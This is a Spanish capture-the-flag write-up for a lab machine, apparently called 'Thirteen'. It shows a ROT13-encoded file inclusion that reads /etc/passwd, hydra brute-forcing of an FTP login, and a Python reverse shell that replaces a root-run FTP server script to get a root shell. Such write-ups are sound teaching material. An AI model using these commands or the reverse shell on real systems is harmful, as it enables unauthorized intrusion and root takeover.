Enumeramos puertos:
❯ nmap -sCV -p 21,22,80 -oN 02-targeted.txt 10.32.32.76
...
21/tcp open ftp pyftpdlib 2.0.1
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: iCloud Vault Access
...Enumeramos directorios con gobuster (welcome.txt, config.txt, readme.txt, /logs en 403):
❯ gobuster dir -u 'http://10.32.32.76' -w directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db -r
/welcome.txt /config.txt /readme.txt /logs (403) /server-status (403)La web carga archivos mediante ?theme=, y los botones apuntan a esos mismos nombres pero en ROT13 (de ahí "Thirteen": jrypbzr.gkg → welcome.txt). Confirmamos un LFI codificando la ruta en ROT13:
❯ rot13 'jrypbzr.gkg pbasvt.gkg ernqzr.gkg'
welcome.txt config.txt readme.txt
❯ rot13 '/etc/passwd'
/rgp/cnffjq
❯ curl 'http://10.32.32.76/?theme=/rgp/cnffjq' | grep bash
root:x:0:0:root:/root:/bin/bash
welcome:x:1000:1000:,,,:/home/welcome:/bin/bash
max:x:1001:1001::/home/max:/bin/bashLeyendo el log del FTP (/logs/ftp_server.log vía LFI) vemos que el usuario ADMIN se autentica; hacemos fuerza bruta con hydra:
❯ hydra -l ADMIN -P ~/Documentos/wordlists/rockyou.txt ftp://10.32.32.76:21 -t 64
...
[21][ftp] host: 10.32.32.76 login: ADMIN password: 12345
...Dentro del FTP están ftp_server.py y rev.sh (propiedad de root). Comprobamos que tenemos permisos de escritura subiendo un archivo de prueba:
ftp> put file.txt # aparece en el listado → escritura permitidaftp_server.py es el propio servicio FTP (ejecutado como root), así que lo sobrescribimos con una reverse shell:
❯ cat ftp_server.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.32.32.50",1234))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])ftp> put ftp_server.py
226 Transfer complete.Disparamos la ejecución cargando el log del FTP vía LFI (?theme= con la ruta en ROT13: rot13 logs/ftp_server.log → ybtf/sgc_freire.ybt) y recibimos shell de root:
❯ ncat -nlvp 1234
Ncat: Connection from 10.32.32.76:38528.
bash: cannot set terminal process group (428): Inappropriate ioctl for device
bash: no job control in this shell
root@13max:/opt#Obtenemos ambas flags.
Fin.